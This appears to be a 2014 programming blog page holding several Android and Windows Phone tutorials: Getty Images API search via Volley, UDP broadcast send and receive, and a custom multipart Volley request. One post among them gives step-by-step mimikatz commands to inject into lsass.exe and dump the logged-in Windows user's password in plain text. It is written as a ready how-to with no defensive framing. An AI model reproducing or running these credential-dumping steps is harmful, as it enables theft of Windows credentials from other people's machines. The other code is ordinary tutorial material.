Sunday, 10 August 2014

Using Getty Images Api To get Image url in Android


Getty Images, Inc. is an American stock photo agency, based in Seattle, Washington, United States. It is a supplier of stock images for business and consumers with an archive of 80 million still images and illustrations and more than 50,000 hours of stock film footage. It targets three markets—creative professionals (advertising and graphic design), the media (print and online publishing), and corporate (in-house design, marketing and communication departments).
Getty has distribution offices around the world and capitalizes on the Internet and CD-ROM collections for distribution. As Getty has acquired other older photo agencies and archives, it has digitised their collections, enabling online distribution. Getty Images now operates a large commercial website which allows clients to search and browse for images, purchase usage rights and download images. Costs of images vary according to the chosen resolution and type of rights associated with each image. The company also offers custom photo services for corporate clients.

Getting Started

If you already have a Mashery Member account

  1. Sign in with your Mashery Member credentials.
  2. Click the My Account link near the top right of the page.
  3. Click the Get API keys button.
  4. Register your application and select your desired type of Api-Key. Getty Images provide two key options.
    • Issue a new key for Getty Test
      • Use to test Getty Images Connect functionality including: image search and metadata, download, and account management.
    • Issue a new key for Connect Embed
      • Use to search for and embed from over 40 million embeddable images.

If you do not have a Mashery Member account

  1. Register a new Mashery Member account and your application.
  2. Select your desired type of Api-Key. Getty Images provide two key options.
    • Issue a new key for Getty Test
      • Use to test Getty Images Connect functionality including: image search and metadata, download, and account management.
    • Issue a new key for Connect Embed
      • Use to search for and embed from over 40 million embeddable images.
  3. Click Register. You will receive an email presently with a confirmation link. Click the link.
  4. Sign in with your Mashery Member credentials.


After registering a application you will receive an api-key . You need this key to authenticate the requests that you make to connect.gettyimages.com .


Now open your android project and add the following to your strings.xml file .

<string name="getty_id">Your api-key</string>

Getting the Image URL

Now we will search for images and get their url . Add the following function where you want to search for image . This function makes request to "https://connect.gettyimages.com/v3/search/images" with the api key in header . In this example I'll be using volley library for making requests

Pagination
Many Connect endpoints provide support for pagination of results. Pagination can be controlled by using the page and page_size query string parameters. Default values will be used if none are provided.

The page parameter defaults to 1.
Search results default to a page_size of 30 items per page. The maximum page_size is 100.

Here I have selected the first page and result per page is also 1 , you can change these parameters depending on your needs .

private void getBackgroundImage() {  
           // TODO Auto-generated method stub  
           String searchString = "What you want to search";  
           final HashMap<String, String> header = new HashMap<String, String>();  
           header.put("Api-Key", getString(R.string.getty_id));  
           String getImageUrl = null;  
           try {  
                getImageUrl = "https://connect.gettyimages.com/v3/search/images?phrase="+URLEncoder.encode(searchString.replaceFirst("\\s+$", ""),"UTF-8")+"&page=1&page_size=1";  
           } catch (UnsupportedEncodingException e1) {  
                // TODO Auto-generated catch block  
                e1.printStackTrace();  
           }  
           JsonObjectRequest getImageData = new JsonObjectRequest(getImageUrl, null, new Response.Listener<JSONObject>(  
                     ) {  
                @SuppressLint("NewApi") @Override  
                public void onResponse(JSONObject response) {  
                     try {  
                          onResponseGetImages(response);  
                     } catch (JSONException e) {  
                          // TODO Auto-generated catch block  
                          e.printStackTrace();  
                     }  
                }  
           }, new Response.ErrorListener() {  
                @Override  
                public void onErrorResponse(VolleyError error) {  
                     // TODO Auto-generated method stub  
                }  
           }){  
                @Override  
                public Map<String, String> getHeaders() throws AuthFailureError {  
                     return header;  
                }  
           };  
           AppController.getInstance().addToRequestQueue(getImageData, "Get Image Data");  
      }  


Getting Url From Response

The response is in JSON format and we need to parse this to get image Url . 
This is how the response from  https://connect.gettyimages.com/v3/search/images looks like .



Now to get Url of the image from the response add the following function below the getBackgroundImage function that you added above . In the following function I'm checking that the result count (gives the total number of images found relating to the search ) is greater than 0 . If result count is 0 it means that no images were found relating to that result . In the images array I'm taking the first JSON Object (index 0) , and then get the display sizes array in it which has the image url in it .

private void onResponseGetImages(JSONObject response)  
                throws JSONException {  
           int resultCount = Integer.parseInt(response.getString("result_count"));  
           if(resultCount>0){  
           JSONArray imagesArray = response.getJSONArray("images");  
           JSONObject temp = imagesArray.getJSONObject(0);  
           JSONArray displaySizesArray = temp.getJSONArray("display_sizes");  
           JSONObject temp4 = displaySizesArray.getJSONObject(0);  
           String imageUr = temp4.getString("uri");  
           Toast.makeText(getActivity(),  
                     ""+imageUr, Toast.LENGTH_SHORT)  
                     .show();  
           }else{  
                Toast.makeText(getActivity(),  
                          "No Images Found !", Toast.LENGTH_SHORT)  
                          .show();  
           }  
                }  


Now you can use this url to download or get the bitmap of the image .








Thursday, 7 August 2014

Send and Receive a UDP Broadcast in windows phone 8 .

You must have seen apps that search for other devices and connect to them wirelessly . You can do this in your app by using UDP socket .

User Datagram Protocol 
The User Datagram Protocol (UDP) is one of the core members of the Internet protocol suite (the set of network protocols used for the Internet). With UDP, applications can send messages, in this case referred to as datagrams , to other hosts on an Internet Protocol (IP) network without prior communications to set up special transmission channels or data paths. The protocol was designed by David P. Reed in 1980 and formally defined in RFC 768.

Applications communicates with other applications/devices by sending and receiving data .

To send data over to another application/device/computer add the following code to your project .
parameters : This function takes the IP address of the remote/other device that is running the udp listener . When the remote device receives the datagram(message)  it can reply to it and the SocketOnMessageReceived function will be called in our app where we can retrieve the reply send by the device .

 private async Task send(string ip){  
       var udpsoc = new DatagramSocket();  
       try {   
       udpsoc.MessageReceived += SocketOnMessageReceived;  
 
     using (var stream = await udpsoc.GetOutputStreamAsync(new HostName(ip), "remoteserviceName")){  
 using (var writer = new DataWriter(stream))  
 {  
   var data = Encoding.UTF8.GetBytes("searchserver,192.168.2.5");  
   writer.WriteBytes(data);  
   writer.StoreAsync();  
 }  
 }  
     }  
     catch(Exception exp){  
       tb1.Text = exp.ToString();  
   }     
     }  
 private void SocketOnMessageReceived(DatagramSocket sender, DatagramSocketMessageReceivedEventArgs args)  
 {  
    var result = args.GetDataStream();  
         var resultStream = result.AsStreamForRead(1024);  
         using (var reader = new StreamReader(resultStream))  
         {  
           MemoryStream ms = new MemoryStream();  
           resultStream.CopyTo(ms);  
           string text = Encoding.UTF8.GetString(ms.ToArray(), 0, ms.ToArray().Length);  
           Deployment.Current.Dispatcher.BeginInvoke(() =>  
           {  
             tb1.Text = text;  
           });  
         }  
 }  

Grabbing windows passwords in plain text .

In this post I will show you how you can grab password of the user that is currently logged in windows .

This can be done in the following 3 simple steps

1. download "mimikatz_trunk.zip" from "blog.gentilkiwi.com/mimikatz" .

2. After downloading extract it to "C:\Windows\System32"  .

3. Now open cmd as administrator and enter the following commands (make sure that you are in "C:\Windows\System32\mimikatz_trunk\win32"  directory ) .

Commands
1. mimikatz.exe
2. privilege::debug
3. inject::process lsass.exe sekurlsa.dll
4. @getLogonPasswords

You can also watch this video to see how this is done .




Creating custom volley request to send multipart data

Volley is an HTTP library that makes networking for Android apps easier and most importantly, faster. Volley is available through the open AOSP repository.


Volley offers the following benefits:
  • Automatic scheduling of network requests.
  • Multiple concurrent network connections.
  • Transparent disk and memory response caching with standard HTTP cache coherence.
  • Support for request prioritization.
  • Cancellation request API. You can cancel a single request, or you can set blocks or scopes of requests to cancel.
  • Ease of customization, for example, for retry and backoff.
  • Strong ordering that makes it easy to correctly populate your UI with data fetched asynchronously from the network.
  • Debugging and tracing tools.
To get an overview of volley I would suggest you to watch this video by Ficus Kirkpatrick at Google I/O 2013 .

Volley doesn't provide support for Multipart request . But we can use volley's framework and provide our own implementation of HttpStack .

The following code creates a custom volley request that can be used to send multipart data .

import java.io.ByteArrayOutputStream;  
 import java.io.File;  
 import java.io.IOException;  
 import java.io.UnsupportedEncodingException;  
 import java.util.HashMap;  
 import java.util.Map;  
 import org.apache.http.client.methods.HttpEntityEnclosingRequestBase;  
 import org.apache.http.entity.mime.HttpMultipartMode;  
 import org.apache.http.entity.mime.MultipartEntity;  
 import org.apache.http.entity.mime.content.FileBody;  
 import org.apache.http.entity.mime.content.StringBody;  
 import android.util.Log;  
 import com.android.volley.AuthFailureError;  
 import com.android.volley.NetworkResponse;  
 import com.android.volley.Request;  
 import com.android.volley.Response;  
 import com.android.volley.VolleyLog;  
 import com.android.volley.Response.ErrorListener;  
 public class MultiPartReq extends Request < String > {  
      private Response.Listener < String > mListener = null;  
      private Response.ErrorListener mEListener;  
      //       
      private final File mFilePart;  
      private final String mStringPart;  
      private Map < String, String > parameters;  
      private Map < String, String > header;  
      MultipartEntity entity = new MultipartEntity();  
      @Override  
      public Map < String, String > getHeaders() throws AuthFailureError {  
           return header;  
      }  
      public MultiPartReq(String url, Response.ErrorListener eListener,  
      Response.Listener < String > rListener, File file, String stringPart,  
      Map < String, String > param, Map < String, String > head) {  
           super(Method.POST, url, eListener);  
           mListener = rListener;  
           mEListener = eListener;  
           mFilePart = file;  
           mStringPart = stringPart;  
           parameters = param;  
           header = head;  
           buildMultipartEntity();  
      }  
      @Override  
      public String getBodyContentType() {  
           return entity.getContentType().getValue();  
      }  
      @Override  
      public byte[] getBody() throws AuthFailureError {  
           ByteArrayOutputStream bos = new ByteArrayOutputStream();  
           try {  
                entity.writeTo(bos);  
                String entityContentAsString = new String(bos.toByteArray());  
                Log.e("volley", entityContentAsString);  
           } catch (IOException e) {  
                VolleyLog.e("IOException writing to ByteArrayOutputStream");  
           }  
           return bos.toByteArray();  
      }  
      @Override  
      protected void deliverResponse(String arg0) {  
           // TODO Auto-generated method stub  
      }  
      @Override  
      protected Response < String > parseNetworkResponse(NetworkResponse response) {  
           // TODO Auto-generated method stub  
           return null;  
      }  
      private void buildMultipartEntity() {  
           entity.addPart(mStringPart, new FileBody(mFilePart));  
           try {  
                for (String key: parameters.keySet())  
                entity.addPart(key, new StringBody(parameters.get(key)));  
           } catch (UnsupportedEncodingException e) {  
                VolleyLog.e("UnsupportedEncodingException");  
           }  
      }  

Now create a object of the above class and add it to the request queue .

 File f = new File("path");  
           HashMap<String, String> headers = new HashMap<String, String>();  
           headers.put("key", "value");  
           //headers.put("Authorization", "Token "+pref.getString("token", "123"));   
           //File f = new File(s);  
           HashMap<String, String> params = new HashMap<String, String>();  
           params.put("key","value");  
           mPR = new MultiPartReq("http://api.jhjh.com/api/v1/mmnbn/create/", new Response.ErrorListener() {  
                @Override  
                public void onErrorResponse(VolleyError arg0) {  
                     // TODO Auto-generated method stub  
                     Toast.makeText(getActivity(), "error "+arg0.toString(), Toast.LENGTH_LONG).show();  
                }       
           } , new Response.Listener<String>() {  
                @Override  
                public void onResponse(String arg0) {  
                     // TODO Auto-generated method stub  
                     Log.d("Success", arg0.toString());  
                }  
           }, f, "filekey", params , headers);  
           AppController.getInstance().addToRequestQueue(mPR,  
                     "request tag ");  

In your project create a class named  AppController.java and add the following code to it .

 import android.app.Application;  
 import android.text.TextUtils;  
 import com.android.volley.Request;  
 import com.android.volley.RequestQueue;  
 import com.android.volley.toolbox.ImageLoader;  
 import com.android.volley.toolbox.Volley;  
 public class AppController extends Application {  
      private ImageLoader mImageLoader;  
      public static final String TAG = AppController.class.getSimpleName();  
      private RequestQueue mRequestQueue;  
      private static AppController mInstance;  
      @Override  
      public void onCreate() {  
           super.onCreate();  
           mInstance = this;  
      }  
      public static synchronized AppController getInstance() {  
           return mInstance;  
      }  
      public RequestQueue getRequestQueue() {  
           if (mRequestQueue == null) {  
                mRequestQueue = Volley.newRequestQueue(getApplicationContext());  
           }  
           return mRequestQueue;  
      }  
      public <T> void addToRequestQueue(Request<T> req, String tag) {  
           // set the default tag if tag is empty  
           req.setTag(TextUtils.isEmpty(tag) ? TAG : tag);  
           getRequestQueue().add(req);  
      }  
      public <T> void addToRequestQueue(Request<T> req) {  
           req.setTag(TAG);  
           getRequestQueue().add(req);  
      }  
      public void cancelPendingRequests(Object tag) {  
           if (mRequestQueue != null) {  
                mRequestQueue.cancelAll(tag);  
           }  
      }  
      public ImageLoader getImageLoader() {  
           getRequestQueue();  
           if (mImageLoader == null) {  
                mImageLoader = new ImageLoader(this.mRequestQueue,  
                          new ThoughtImageCache());  
           }  
           return this.mImageLoader;  
      }  
 }